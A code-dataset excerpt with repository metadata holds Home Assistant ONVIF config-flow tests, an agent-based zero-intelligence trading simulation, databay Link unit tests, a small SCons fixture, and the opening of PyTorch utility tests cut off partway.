hass.config_entries.flow.async_init( config_flow.DOMAIN, context={"source": config_entries.SOURCE_USER} ) assert result["type"] == data_entry_flow.RESULT_TYPE_FORM assert result["step_id"] == "user" with patch( "homeassistant.components.onvif.config_flow.get_device" ) as mock_onvif_camera, patch( "homeassistant.components.onvif.config_flow.wsdiscovery" ) as mock_discovery, patch( "homeassistant.components.onvif.ONVIFDevice" ) as mock_device: setup_mock_onvif_camera(mock_onvif_camera, two_profiles=True) # no discovery mock_discovery.return_value = [] setup_mock_device(mock_device) result = await hass.config_entries.flow.async_configure( result["flow_id"], user_input={"auto": False}, ) assert result["type"] == data_entry_flow.RESULT_TYPE_FORM assert result["step_id"] == "configure" with patch( "homeassistant.components.onvif.async_setup", return_value=True ) as mock_setup, patch( "homeassistant.components.onvif.async_setup_entry", return_value=True ) as mock_setup_entry: result = await hass.config_entries.flow.async_configure( result["flow_id"], user_input={ config_flow.CONF_NAME: NAME, config_flow.CONF_HOST: HOST, config_flow.CONF_PORT: PORT, config_flow.CONF_USERNAME: USERNAME, config_flow.CONF_PASSWORD: PASSWORD, }, ) await hass.async_block_till_done() assert len(mock_setup.mock_calls) == 1 assert len(mock_setup_entry.mock_calls) == 1 assert result["type"] == data_entry_flow.RESULT_TYPE_CREATE_ENTRY assert result["title"] == f"{NAME} - {MAC}" assert result["data"] == { config_flow.CONF_NAME: NAME, config_flow.CONF_HOST: HOST, config_flow.CONF_PORT: PORT, config_flow.CONF_USERNAME: USERNAME, config_flow.CONF_PASSWORD: PASSWORD, } async def test_flow_import_not_implemented(hass): """Test that config flow uses Serial Number when no MAC available.""" with patch( "homeassistant.components.onvif.config_flow.get_device" ) as mock_onvif_camera, patch( "homeassistant.components.onvif.ONVIFDevice" ) as mock_device, patch( "homeassistant.components.onvif.async_setup", return_value=True ) as mock_setup, patch( "homeassistant.components.onvif.async_setup_entry", return_value=True ) as mock_setup_entry: setup_mock_onvif_camera(mock_onvif_camera, with_interfaces_not_implemented=True) setup_mock_device(mock_device) result = await hass.config_entries.flow.async_init( config_flow.DOMAIN, context={"source": config_entries.SOURCE_IMPORT}, data={ config_flow.CONF_NAME: NAME, config_flow.CONF_HOST: HOST, config_flow.CONF_PORT: PORT, config_flow.CONF_USERNAME: USERNAME, config_flow.CONF_PASSWORD: PASSWORD, }, ) await hass.async_block_till_done() assert len(mock_setup.mock_calls) == 1 assert len(mock_setup_entry.mock_calls) == 1 assert result["type"] == data_entry_flow.RESULT_TYPE_CREATE_ENTRY assert result["title"] == f"{NAME} - {SERIAL_NUMBER}" assert result["data"] == { config_flow.CONF_NAME: NAME, config_flow.CONF_HOST: HOST, config_flow.CONF_PORT: PORT, config_flow.CONF_USERNAME: USERNAME, config_flow.CONF_PASSWORD: PASSWORD, } async def test_flow_import_no_mac(hass): """Test that config flow uses Serial Number when no MAC available.""" with patch( "homeassistant.components.onvif.config_flow.get_device" ) as mock_onvif_camera, patch( "homeassistant.components.onvif.ONVIFDevice" ) as mock_device, patch( "homeassistant.components.onvif.async_setup", return_value=True ) as mock_setup, patch( "homeassistant.components.onvif.async_setup_entry", return_value=True ) as mock_setup_entry: setup_mock_onvif_camera(mock_onvif_camera, with_interfaces=False) setup_mock_device(mock_device) result = await hass.config_entries.flow.async_init( config_flow.DOMAIN, context={"source": config_entries.SOURCE_IMPORT}, data={ config_flow.CONF_NAME: NAME, config_flow.CONF_HOST: HOST, config_flow.CONF_PORT: PORT, config_flow.CONF_USERNAME: USERNAME, config_flow.CONF_PASSWORD: PASSWORD, }, ) await hass.async_block_till_done() assert len(mock_setup.mock_calls) == 1 assert len(mock_setup_entry.mock_calls) == 1 assert result["type"] == data_entry_flow.RESULT_TYPE_CREATE_ENTRY assert result["title"] == f"{NAME} - {SERIAL_NUMBER}" assert result["data"] == { config_flow.CONF_NAME: NAME, config_flow.CONF_HOST: HOST, config_flow.CONF_PORT: PORT, config_flow.CONF_USERNAME: USERNAME, config_flow.CONF_PASSWORD: PASSWORD, } async def test_flow_import_no_mac_or_serial(hass): """Test that config flow fails when no MAC or Serial Number available.""" with patch( "homeassistant.components.onvif.config_flow.get_device" ) as mock_onvif_camera: setup_mock_onvif_camera( mock_onvif_camera, with_interfaces=False, with_serial=False ) result = await hass.config_entries.flow.async_init( config_flow.DOMAIN, context={"source": config_entries.SOURCE_IMPORT}, data={ config_flow.CONF_NAME: NAME, config_flow.CONF_HOST: HOST, config_flow.CONF_PORT: PORT, config_flow.CONF_USERNAME: USERNAME, config_flow.CONF_PASSWORD: PASSWORD, }, ) assert result["type"] == data_entry_flow.RESULT_TYPE_ABORT assert result["reason"] == "no_mac" async def test_flow_import_no_h264(hass): """Test that config flow fails when no MAC available.""" with patch( "homeassistant.components.onvif.config_flow.get_device" ) as mock_onvif_camera: setup_mock_onvif_camera(mock_onvif_camera, with_h264=False) result = await hass.config_entries.flow.async_init( config_flow.DOMAIN, context={"source": config_entries.SOURCE_IMPORT}, data={ config_flow.CONF_NAME: NAME, config_flow.CONF_HOST: HOST, config_flow.CONF_PORT: PORT, config_flow.CONF_USERNAME: USERNAME, config_flow.CONF_PASSWORD: PASSWORD, }, ) assert result["type"] == data_entry_flow.RESULT_TYPE_ABORT assert result["reason"] == "no_h264" async def test_flow_import_onvif_api_error(hass): """Test that config flow fails when ONVIF API fails.""" with patch( "homeassistant.components.onvif.config_flow.get_device" ) as mock_onvif_camera: setup_mock_onvif_camera(mock_onvif_camera) mock_onvif_camera.create_devicemgmt_service = MagicMock( side_effect=ONVIFError("Could not get device mgmt service") ) result = await hass.config_entries.flow.async_init( config_flow.DOMAIN, context={"source": config_entries.SOURCE_IMPORT}, data={ config_flow.CONF_NAME: NAME, config_flow.CONF_HOST: HOST, config_flow.CONF_PORT: PORT, config_flow.CONF_USERNAME: USERNAME, config_flow.CONF_PASSWORD: PASSWORD, }, ) assert result["type"] == data_entry_flow.RESULT_TYPE_ABORT assert result["reason"] == "onvif_error" async def test_flow_import_onvif_auth_error(hass): """Test that config flow fails when ONVIF API fails.""" with patch( "homeassistant.components.onvif.config_flow.get_device" ) as mock_onvif_camera: setup_mock_onvif_camera(mock_onvif_camera) mock_onvif_camera.create_devicemgmt_service = MagicMock( side_effect=Fault("Auth Error") ) result = await hass.config_entries.flow.async_init( config_flow.DOMAIN, context={"source": config_entries.SOURCE_IMPORT}, data={ config_flow.CONF_NAME: NAME, config_flow.CONF_HOST: HOST, config_flow.CONF_PORT: PORT, config_flow.CONF_USERNAME: USERNAME, config_flow.CONF_PASSWORD: PASSWORD, }, ) assert result["type"] == data_entry_flow.RESULT_TYPE_FORM assert result["step_id"] == "configure" assert result["errors"]["base"] == "cannot_connect" async def test_option_flow(hass): """Test config flow options.""" entry, _, _ = await setup_onvif_integration(hass) result = await hass.config_entries.options.async_init(entry.entry_id) assert result["type"] == data_entry_flow.RESULT_TYPE_FORM assert result["step_id"] == "onvif_devices" result = await hass.config_entries.options.async_configure( result["flow_id"], user_input={ config_flow.CONF_EXTRA_ARGUMENTS: "", config_flow.CONF_RTSP_TRANSPORT: config_flow.RTSP_TRANS_PROTOCOLS[1], }, ) assert result["type"] == data_entry_flow.RESULT_TYPE_CREATE_ENTRY assert result["data"] == { config_flow.CONF_EXTRA_ARGUMENTS: "", config_flow.CONF_RTSP_TRANSPORT: config_flow.RTSP_TRANS_PROTOCOLS[1], }

36.255682

106

0.64457

2,231

19,143

5.200359

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0.11205

0.104982

0.088174

0.874591

0.86373

0.840286

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null

0

1

0

null

0

6

d4bbe95ba1a91c39688ec390f96da9b1cf149480

7,725

py

Python

agent.py

ringochuchudull/abm-fms-intel

9a7541b7ae8c826bb8a4660e87ed7085edeab61f

[ "Apache-2.0" ]

null

agent.py

ringochuchudull/abm-fms-intel

9a7541b7ae8c826bb8a4660e87ed7085edeab61f

[ "Apache-2.0" ]

null

agent.py

ringochuchudull/abm-fms-intel

9a7541b7ae8c826bb8a4660e87ed7085edeab61f

[ "Apache-2.0" ]

null

from utility import * import random import numpy as np #np.exp # Super Class class Agent: ''' An abstract agent class that allows itself to updates its state and react record(): Change the amount the shares holding and record the new price act(): Simulation of a trading decision ''' def __init__(self, id): self.id = id self.share = 0 #Also detemine whether he is a buyer or seller self.sell_record = [] self.buy_record = [] def __str__(self): return '<Agent ' + str(self.id) + ' > ' def record(self, direction, trans_price, market=None, quantity=1): if direction: #If Sell self.share -= quantity self.sell_record.append(trans_price) else: self.share += quantity self.buy_record.append(trans_price) def newact(self): # Implementated in subclass accordingly to types of agents # This method should return 'dealer(Agent Object)', 'transaction_price(int)' 'direction(BUY/SELL)' raise Exception('No implementation') def profit(self): return sum(self.sell_record) - sum(self.buy_record) # Sub Class class ZeroIntelligentAgent(Agent): def __init__(self, id, sellprice=maxP, bidprice=1): Agent.__init__(self,id) self.sellprice = sellprice self.bidprice = bidprice def __str__(self): return '<0IQAgent %d owns %d share with sell price %f and bidprice %f>' % (self.id, self.share, self.sellprice, self.bidprice) def resetPrice(self,price): self.bidprice = random.randint(1,price) self.sellprice = random.randint(price, maxP) def sell(self, market=None): if updateSellorBidPrice(): self.sellprice -= 1 if not market.num_buyer: #market.record_order(market.stockprice) return None, None else: index = -1 maxBuy = 1 for i,s in enumerate(market.agentlist): if s.bidprice > maxBuy and not s.share: index, maxBuy = i, s.bidprice curr_buyer_agent = market.agentlist[index] tranction_price = maxBuy return curr_buyer_agent, tranction_price def buy(self, market=None): # a) Update the price if updateSellorBidPrice(): self.bidprice += 1 if not market.num_seller: print('haha') return None, market.stockprice else: index = -1 minSell = maxP for i,s in enumerate(market.agentlist): if s.sellprice < minSell and s.share: index, minSell = i, s.sellprice print('Agent ' + str(index+1) + ' offers to sell the lowest price £' + str(minSell)) # Buy at market if market.stockprice < minSell and market.shares > 0: return None, market.stockprice else: # Buy from Sellers curr_seller_agent = market.agentlist[index] tranction_price = minSell return curr_seller_agent, tranction_price def record(self, direction, price, market=None, quantity=1, reset=True): if direction: #If Sell self.share -= quantity self.sell_record.append(price) else: self.share += quantity self.buy_record.append(price) if reset: print('reset price') self.resetPrice(int(price)) def newact(self, market): # If the agent has one share, the agent is a seller if self.share: direction = SELL current_buyer, transaction_price = self.sell(market=market) #if current_buyer is not None: # self.record(SELL, transaction_price) return current_buyer, transaction_price, direction else: direction = BUY current_seller, transaction_price = self.buy(market=market) #self.record(BUY, transaction_price) return current_seller, transaction_price, direction # Sub Class class ImitatingAgent(Agent): def __init__(self, id, sellprice=maxP, bidprice=1): Agent.__init__(self,id) self.sellprice = sellprice self.bidprice = bidprice def __str__(self): return '<ImitatingAgent %d owns %d share with sell price %f and bidprice %f>' % (self.id, self.share, self.sellprice, self.bidprice) def resetPrice(self, market=None): if self.share > 0: # Case as of a Potential Seller temp = [] temp = [a for a in market.agentlist if a.share] random.shuffle(temp) tempAgent = temp[0] self.sellprice = tempAgent.sellprice elif not self.share: # Case as of a potential buyer temp = [] temp = [a for a in market.agentlist if not a.share] random.shuffle(temp) tempAgent = temp[0] self.bidprice = tempAgent.bidprice def sell(self, market=None): if updateSellorBidPrice(): self.sellprice -= 1 if not market.num_buyer: #market.record_order(market.stockprice) return None, None else: index = -1 maxBuy = 1 for i,s in enumerate(market.agentlist): if s.bidprice > maxBuy and not s.share: index, maxBuy = i, s.bidprice curr_buyer_agent = market.agentlist[index] tranction_price = maxBuy return curr_buyer_agent, tranction_price def buy(self, market=None): # a) Update the price if updateSellorBidPrice(): self.bidprice += 1 if not market.num_seller: print('haha') return None, market.stockprice else: index = -1 minSell = maxP for i,s in enumerate(market.agentlist): if s.sellprice < minSell and s.share: index, minSell = i, s.sellprice print('Agent ' + str(index+1) + ' offers to sell the lowest price £' + str(minSell)) # Buy at market if market.stockprice < minSell and market.shares > 0: return None, market.stockprice else: # Buy from Sellers curr_seller_agent = market.agentlist[index] tranction_price = minSell return curr_seller_agent, tranction_price def record(self, direction, price, market=None, quantity=1, reset=True): if direction: #If Sell self.share -= quantity self.sell_record.append(price) else: self.share += quantity self.buy_record.append(price) if reset: print('reset price') print(market) self.resetPrice(market=market) def newact(self, market): # If the agent has one share, the agent is a seller if self.share: direction = SELL current_buyer, transaction_price = self.sell(market=market) #if current_buyer is not None: # self.record(SELL, transaction_price, market) return current_buyer, transaction_price, direction else: direction = BUY current_seller, transaction_price = self.buy(market=market) #self.record(BUY, transaction_price, market) return current_seller, transaction_price, direction # Test if __name__ == '__main__': pass

32.1875

140

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875

7,725

4.930286

0.153143

0.027121

0.023644

0.029207

0.7828

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0.701437

0

0.004947

0.345761

7,725

240

141

32.1875

0.848239

0.130874

0

0.773585

0

0.041279

0

1

0.119497

false

0.006289

0.018868

0.025157

0.27044

0.044025

0

null

0

1

0

1

0

null

0

6

be08e2af1448fd294e7ea8f8a1b7044cfc0c3737

17,651

py

Python

test/test/unit/test_link.py

00mjk/databay

b11a43b02bed001d0aef89f796b63dfba2da7363

[ "Apache-2.0" ]

1

2021-04-02T16:34:57.000Z

test/test/unit/test_link.py

00mjk/databay

b11a43b02bed001d0aef89f796b63dfba2da7363

[ "Apache-2.0" ]

null

test/test/unit/test_link.py

00mjk/databay

b11a43b02bed001d0aef89f796b63dfba2da7363

[ "Apache-2.0" ]

null

import asyncio import logging from asyncio import Future from datetime import timedelta from unittest import TestCase, mock from unittest.mock import MagicMock, patch import databay from databay import Inlet, Outlet from databay.errors import InvalidNodeError from databay.link import Link from test_utils import DummyException, fqname # monkey patch the MagicMock's await async def async_magic(): pass MagicMock.__await__ = lambda x: async_magic().__await__() def pull_mock(rv=None): if rv is None: rv = [object()] async def pull_coro(_): return rv return MagicMock(side_effect=pull_coro) class DummyIterable(): def __iter__(self): raise DummyException() class TestLink(TestCase): @patch(fqname(Outlet), spec=Outlet) @patch(fqname(Inlet), spec=Inlet, _pull=pull_mock()) def test_transfer(self, inlet, outlet): link = Link([inlet], [outlet], timedelta( seconds=1), tags='test_update') link.transfer() inlet._pull.assert_called() outlet._push.assert_called() @patch(fqname(Outlet), spec=Outlet) @patch(fqname(Inlet), spec=Inlet, _pull=pull_mock()) def test_run(self, inlet, outlet): async def task(): link = Link([inlet], [outlet], timedelta(seconds=1), tags='test_run', copy_records=False) inlet_result = await inlet._pull(None) await link._run() inlet._pull.assert_called() outlet._push.assert_called_with(inlet_result, mock.ANY) asyncio.run(task()) @patch(fqname(Outlet), spec=Outlet) @patch(fqname(Inlet), spec=Inlet, _pull=pull_mock()) def test_exception_inlet(self, inlet, outlet): inlet._pull.side_effect = DummyException('Test exception') link = Link([inlet], [outlet], timedelta(seconds=1), ignore_exceptions=False, tags='test_exception_inlet') self.assertRaises(DummyException, link.transfer) inlet._pull.assert_called() outlet._push.assert_not_called() @patch(fqname(Outlet), spec=Outlet) @patch(fqname(Inlet), spec=Inlet, _pull=pull_mock()) def test_exception_outlet(self, inlet, outlet): # inlet._pull.return_value, _ = self.inlet_return() # inlet._pull.side_effect = pull_mock # inlet._pull.return_value = Future() outlet._push.side_effect = DummyException('Test exception') link = Link([inlet], [outlet], timedelta(seconds=1), ignore_exceptions=False, tags='test_exception_outlet') link = Link([inlet], [outlet], timedelta(seconds=1), ignore_exceptions=False, tags='test_exception_outlet') self.assertRaises(DummyException, link.transfer) inlet._pull.assert_called() outlet._push.assert_called() @patch(fqname(Outlet), spec=Outlet) @patch(fqname(Inlet), spec=Inlet, _pull=pull_mock()) def test_exception_caught(self, inlet, outlet): logging.getLogger('databay.Link').setLevel(logging.CRITICAL) inlet._pull.side_effect = DummyException('Test inlet exception') outlet._push.side_effect = DummyException('Test outlet exception') link = Link([inlet], [outlet], timedelta(seconds=1), tags='test_exception_caught', ignore_exceptions=True) try: link.transfer() except Exception as e: self.fail(f'Should not raise exception: {e}') inlet._pull.assert_called() outlet._push.assert_called() # check that one exception doesn't halt other inlets or outlets @patch(fqname(Outlet), spec=Outlet) @patch(fqname(Outlet), spec=Outlet) @patch(fqname(Inlet), spec=Inlet, _pull=pull_mock()) @patch(fqname(Inlet), spec=Inlet, _pull=pull_mock()) def test_ignore_partial_exception(self, inlet1, inlet2, outlet1, outlet2): logging.getLogger('databay.Link').setLevel(logging.CRITICAL) async def task(): # inlet_future = Future() inlet1._pull.side_effect = DummyException('Test inlet1 exception') outlet1._push.side_effect = DummyException( 'Test outlet1 exception') # inlet1._pull.return_value = inlet_future # inlet2._pull.return_value = inlet_future link = Link([inlet1, inlet2], [outlet1, outlet2], timedelta( seconds=1), tags='test_ignore_partial_exception', copy_records=False, ignore_exceptions=True) # results = [object()] results = await inlet2._pull(None) # inlet_future.set_result(results) await link._run() inlet1._pull.assert_called() inlet2._pull.assert_called() outlet1._push.assert_called_with(results, mock.ANY) outlet2._push.assert_called_with(results, mock.ANY) asyncio.run(task()) @patch(fqname(Outlet), spec=Outlet) @patch(fqname(Inlet), spec=Inlet, _pull=pull_mock()) def test_on_start(self, inlet1, outlet1): type(inlet1).active = mock.PropertyMock(return_value=False) type(outlet1).active = mock.PropertyMock(return_value=False) link = Link([inlet1], [outlet1], timedelta( seconds=1), tags='test_on_start') link.on_start() inlet1.try_start.assert_called() outlet1.try_start.assert_called() @patch(fqname(Outlet), spec=Outlet) @patch(fqname(Inlet), spec=Inlet, _pull=pull_mock()) def test_on_start_already_active(self, inlet1, outlet1): type(inlet1).active = mock.PropertyMock(return_value=True) type(outlet1).active = mock.PropertyMock(return_value=True) link = Link([inlet1], [outlet1], timedelta(seconds=1), tags='test_on_start_already_active') link.on_start() inlet1.on_start.assert_not_called() outlet1.on_start.assert_not_called() @patch(fqname(Outlet), spec=Outlet) @patch(fqname(Inlet), spec=Inlet, _pull=pull_mock()) def test_on_shutdown(self, inlet1, outlet1): type(inlet1).active = mock.PropertyMock(return_value=True) type(outlet1).active = mock.PropertyMock(return_value=True) link = Link([inlet1], [outlet1], timedelta( seconds=1), tags='test_on_shutdown') link.on_shutdown() inlet1.try_shutdown.assert_called() outlet1.try_shutdown.assert_called() @patch(fqname(Outlet), spec=Outlet) @patch(fqname(Inlet), spec=Inlet) def test_on_shutdown_already_inactive(self, inlet1, outlet1): type(inlet1).active = mock.PropertyMock(return_value=False) type(outlet1).active = mock.PropertyMock(return_value=False) link = Link([inlet1], [outlet1], timedelta(seconds=1), tags='test_on_shutdown_already_inactive') link.on_shutdown() inlet1.on_shutdown.assert_not_called() outlet1.on_shutdown.assert_not_called() @patch(fqname(Inlet), spec=Inlet, _pull=pull_mock()) def test_add_inlet(self, inlet1): link = Link([], [], timedelta(seconds=1), tags='test_add_inlet') link.add_inlets(inlet1) self.assertEqual(link.inlets, [inlet1]) @patch(fqname(Inlet), spec=Inlet, _pull=pull_mock()) @patch(fqname(Inlet), spec=Inlet, _pull=pull_mock()) def test_add_inlet_multiple(self, inlet1, inlet2): link = Link([], [], timedelta(seconds=1), tags='test_add_inlet_multiple') link.add_inlets([inlet1, inlet2]) self.assertEqual(link.inlets, [inlet1, inlet2]) @patch(fqname(Inlet), spec=Inlet, _pull=pull_mock()) def test_add_inlet_same(self, inlet1): link = Link([], [], timedelta(seconds=1), tags='test_add_inlet_same') link.add_inlets(inlet1) self.assertRaises(InvalidNodeError, link.add_inlets, inlet1) self.assertEqual(link.inlets, [inlet1]) @patch(fqname(Inlet), spec=Inlet, _pull=pull_mock()) @patch(fqname(Inlet), spec=Inlet, _pull=pull_mock()) def test_remove_inlet(self, inlet1, inlet2): link = Link([], [], timedelta(seconds=1), tags='test_remove_inlet') link.add_inlets([inlet1, inlet2]) link.remove_inlets(inlet2) self.assertEqual(link.inlets, [inlet1]) @patch(fqname(Inlet), spec=Inlet, _pull=pull_mock()) @patch(fqname(Inlet), spec=Inlet, _pull=pull_mock()) def test_remove_inlet_invalid(self, inlet1, inlet2): link = Link([], [], timedelta(seconds=1), tags='test_remove_inlet_invalid') link.add_inlets([inlet1]) self.assertRaises(InvalidNodeError, link.remove_inlets, inlet2) self.assertEqual(link.inlets, [inlet1]) @patch(fqname(Outlet), spec=Outlet) def test_add_outlet(self, outlet1): link = Link([], [], timedelta(seconds=1), tags='test_add_outlet') link.add_outlets(outlet1) self.assertEqual(link.outlets, [outlet1]) @patch(fqname(Outlet), spec=Outlet) @patch(fqname(Outlet), spec=Outlet) def test_add_outlet_multiple(self, outlet1, outlet2): link = Link([], [], timedelta(seconds=1), tags='test_add_outlet_multiple') link.add_outlets([outlet1, outlet2]) self.assertEqual(link.outlets, [outlet1, outlet2]) @patch(fqname(Outlet), spec=Outlet) def test_add_outlet_same(self, outlet1): link = Link([], [], timedelta(seconds=1), tags='test_add_outlet_same') link.add_outlets(outlet1) self.assertRaises(InvalidNodeError, link.add_outlets, outlet1) self.assertEqual(link.outlets, [outlet1]) @patch(fqname(Outlet), spec=Outlet) @patch(fqname(Outlet), spec=Outlet) def test_remove_outlet(self, outlet1, outlet2): link = Link([], [], timedelta(seconds=1), tags='test_remove_outlet') link.add_outlets([outlet1, outlet2]) link.remove_outlets(outlet2) self.assertEqual(link.outlets, [outlet1]) @patch(fqname(Outlet), spec=Outlet) @patch(fqname(Outlet), spec=Outlet) def test_remove_outlet_invalid(self, outlet1, outlet2): link = Link([], [], timedelta(seconds=1), tags='test_remove_outlet_invalid') link.add_outlets([outlet1]) self.assertRaises(InvalidNodeError, link.remove_outlets, outlet2) self.assertEqual(link.outlets, [outlet1]) # this rv is invalid, should be a list @patch(fqname(Inlet), spec=Inlet, _pull=pull_mock(object())) def xtest_non_iterable_raised(self, inlet1): logging.getLogger('databay.Link').setLevel(logging.ERROR) link = Link([inlet1], [], timedelta(seconds=1), tags='test_non_iterable_raised') with self.assertRaisesRegex(TypeError, 'Inlets must return iterable'): link.transfer() # this rv will raise DummyException @patch(fqname(Inlet), spec=Inlet, _pull=pull_mock(DummyIterable())) def test_generic_error_raised(self, inlet1): logging.getLogger('databay.Link').setLevel(logging.ERROR) link = Link([inlet1], [], timedelta(seconds=1), tags='test_generic_error_raised') # with self.assertRaisesRegex(TypeError, databay.link._ITERABLE_EXCEPTION): self.assertRaises(DummyException, link.transfer) def test_integer_to_timedelta(self): link = Link([], [], 1, name='test_integer_interval_coerced') self.assertEqual(link._interval, timedelta(seconds=1)) def test_float_to_timedelta(self): link = Link([], [], 1.5, name='test_float_interval_coerced') self.assertEqual(link._interval, timedelta(seconds=1.5)) @patch(fqname(Outlet), spec=Outlet) @patch(fqname(Inlet), spec=Inlet) def test_on_start_inlet_exception_raise(self, inlet1, outlet1): inlet1.try_start.side_effect = lambda: exec('raise(RuntimeError())') link = Link([inlet1], [outlet1], timedelta( seconds=1), tags='test_on_start') self.assertRaises(RuntimeError, link.on_start) inlet1.try_start.assert_called() outlet1.try_start.assert_not_called() @patch(fqname(Outlet), spec=Outlet) @patch(fqname(Inlet), spec=Inlet) def test_on_start_inlet_exception_catch(self, inlet1, outlet1): logging.getLogger('databay.Link').setLevel(logging.WARNING) inlet1.try_start.side_effect = lambda: exec('raise(RuntimeError())') link = Link([inlet1], [outlet1], timedelta(seconds=1), tags='test_on_start', ignore_exceptions=True) with self.assertLogs(logging.getLogger('databay.Link'), level='ERROR') as cm: link.on_start() self.assertTrue( 'on_start inlet exception: "" for inlet:' in ';'.join(cm.output)) inlet1.try_start.assert_called() outlet1.try_start.assert_called() @patch(fqname(Outlet), spec=Outlet) @patch(fqname(Outlet), spec=Outlet) @patch(fqname(Inlet), spec=Inlet) def test_on_start_outlet_exception_raise(self, inlet1, outlet1, outlet2): outlet1.try_start.side_effect = lambda: exec('raise(RuntimeError())') link = Link([inlet1], [outlet1, outlet2], timedelta(seconds=1), tags='test_on_start') self.assertRaises(RuntimeError, link.on_start) inlet1.try_start.assert_called() outlet1.try_start.assert_called() outlet2.try_start.assert_not_called() @patch(fqname(Outlet), spec=Outlet) @patch(fqname(Outlet), spec=Outlet) @patch(fqname(Inlet), spec=Inlet) def test_on_start_outlet_exception_catch(self, inlet1, outlet1, outlet2): logging.getLogger('databay.Link').setLevel(logging.WARNING) outlet1.try_start.side_effect = lambda: exec('raise(RuntimeError())') link = Link([inlet1], [outlet1, outlet2], timedelta( seconds=1), tags='test_on_start', ignore_exceptions=True) with self.assertLogs(logging.getLogger('databay.Link'), level='ERROR') as cm: link.on_start() self.assertTrue( 'on_start outlet exception: "" for outlet:' in ';'.join(cm.output), cm.output) inlet1.try_start.assert_called() outlet1.try_start.assert_called() outlet2.try_start.assert_called() @patch(fqname(Outlet), spec=Outlet) @patch(fqname(Inlet), spec=Inlet) def test_on_shutdown_inlet_exception_raise(self, inlet1, outlet1): inlet1.try_shutdown.side_effect = lambda: exec('raise(RuntimeError())') link = Link([inlet1], [outlet1], timedelta( seconds=1), tags='test_on_shutdown') self.assertRaises(RuntimeError, link.on_shutdown) inlet1.try_shutdown.assert_called() outlet1.try_shutdown.assert_not_called() @patch(fqname(Outlet), spec=Outlet) @patch(fqname(Inlet), spec=Inlet) def test_on_shutdown_inlet_exception_catch(self, inlet1, outlet1): logging.getLogger('databay.Link').setLevel(logging.WARNING) inlet1.try_shutdown.side_effect = lambda: exec('raise(RuntimeError())') link = Link([inlet1], [outlet1], timedelta(seconds=1), tags='test_on_shutdown', ignore_exceptions=True) with self.assertLogs(logging.getLogger('databay.Link'), level='ERROR') as cm: link.on_shutdown() self.assertTrue( 'on_shutdown inlet exception: "" for inlet:' in ';'.join(cm.output), cm.output) inlet1.try_shutdown.assert_called() outlet1.try_shutdown.assert_called() @patch(fqname(Outlet), spec=Outlet) @patch(fqname(Outlet), spec=Outlet) @patch(fqname(Inlet), spec=Inlet) def test_on_shutdown_outlet_exception_raise(self, inlet1, outlet1, outlet2): outlet1.try_shutdown.side_effect = lambda: exec( 'raise(RuntimeError())') link = Link([inlet1], [outlet1, outlet2], timedelta( seconds=1), tags='test_on_shutdown') self.assertRaises(RuntimeError, link.on_shutdown) inlet1.try_shutdown.assert_called() outlet1.try_shutdown.assert_called() outlet2.try_shutdown.assert_not_called() @patch(fqname(Outlet), spec=Outlet) @patch(fqname(Outlet), spec=Outlet) @patch(fqname(Inlet), spec=Inlet) def test_on_shutdown_outlet_exception_catch(self, inlet1, outlet1, outlet2): logging.getLogger('databay.Link').setLevel(logging.WARNING) outlet1.try_shutdown.side_effect = lambda: exec( 'raise(RuntimeError())') link = Link([inlet1], [outlet1, outlet2], timedelta( seconds=1), tags='test_on_shutdown', ignore_exceptions=True) with self.assertLogs(logging.getLogger('databay.Link'), level='ERROR') as cm: link.on_shutdown() self.assertTrue('on_shutdown outlet exception: "" for outlet:' in ';'.join( cm.output), cm.output) inlet1.try_shutdown.assert_called() outlet1.try_shutdown.assert_called() outlet2.try_shutdown.assert_called() def test_single_tag(self): tag = 'tagA' link = Link([], [], timedelta(seconds=1), tags=tag) self.assertEqual(link.tags, [tag]) def test_multiple_tags(self): tagA = 'tagA' tagB = 'tagB' link = Link([], [], timedelta(seconds=1), tags=[tagA, tagB]) self.assertEqual(link.tags, [tagA, tagB]) def test_tag_as_name(self): link_name = 'link_name' link = Link([], [], timedelta(seconds=1), name=link_name) self.assertEqual(link_name, link.tags[0]) def test_name_from_tag(self): link_name = 'link_name' link = Link([], [], timedelta(seconds=1), tags=[link_name]) self.assertEqual(link.name, link.tags[0])

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be10279a3707fb64bc7a51caf1c4e8c2ff7d2db3

22

py

Python

test/fixture/python_scanner/nested1/nested2/nested3/imports_parent_module.py

Valkatraz/scons

5e70c65f633dcecc035751c9f0c6f894088df8a0

[ "MIT" ]

1,403

2017-11-23T14:24:01.000Z

2022-03-30T20:59:39.000Z

test/fixture/python_scanner/nested1/nested2/nested3/imports_parent_module.py

Valkatraz/scons

5e70c65f633dcecc035751c9f0c6f894088df8a0

[ "MIT" ]

3,708

2017-11-27T13:47:12.000Z

2022-03-29T17:21:17.000Z

test/fixture/python_scanner/nested1/nested2/nested3/imports_parent_module.py

Valkatraz/scons

5e70c65f633dcecc035751c9f0c6f894088df8a0

[ "MIT" ]

281

2017-12-01T23:48:38.000Z

2022-03-31T15:25:44.000Z

from .. import module

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py

Python

tests/unit/test_general.py

windionleaf/windPyTorchUtils

252b05fd8a4264349f5a434d88cf25c3a808d51d

[ "Unlicense" ]

null

tests/unit/test_general.py

windionleaf/windPyTorchUtils

252b05fd8a4264349f5a434d88cf25c3a808d51d

[ "Unlicense" ]

null

tests/unit/test_general.py

windionleaf/windPyTorchUtils

252b05fd8a4264349f5a434d88cf25c3a808d51d

[ "Unlicense" ]

null

# -*- coding: UTF-8 -*- """" Created on 03.11.19 Unit tests for torch utils module. :author: Martin Dočekal """ import unittest import torch from windpytorchutils.general import batch_tril_set, batch_triu_set, span_mask, proliferate class TestTorchUtils(unittest.TestCase): """ Unit test class for some of the torch utils. """ def setUp(self) -> None: self.batch = torch.tensor([ [ [1.0, 2.0, 3.0], [1.0, 2.0, 3.0], [1.0, 2.0, 3.0] ], [ [10, 11, 12], [13, 14, 15], [16, 17, 18], ] ]) self.batchClone = self.batch.clone() self.batchRectangleShapeA = torch.tensor([ [ [1.0, 2.0, 3.0], [1.0, 2.0, 3.0] ], [ [10, 11, 12], [13, 14, 15] ] ]) self.batchRectangleShapeAClone = self.batchRectangleShapeA.clone() self.batchRectangleShapeB = torch.tensor([ [ [1.0, 2.0], [1.0, 2.0], [1.0, 2.0] ], [ [10, 11], [13, 14], [16, 17], ] ]) self.batchRectangleShapeBClone = self.batchRectangleShapeB.clone() self.trilRes = torch.tensor([ [ [0.0, 2.0, 3.0], [0.0, 0.0, 3.0], [0.0, 0.0, 0.0] ], [ [0, 11, 12], [0, 0, 15], [0, 0, 0], ] ]) self.trilResRecShapeA = torch.tensor([ [ [0.0, 2.0, 3.0], [0.0, 0.0, 3.0] ], [ [0, 11, 12], [0, 0, 15] ] ]) self.trilResRecShapeB = torch.tensor([ [ [0.0, 2.0], [0.0, 0.0], [0.0, 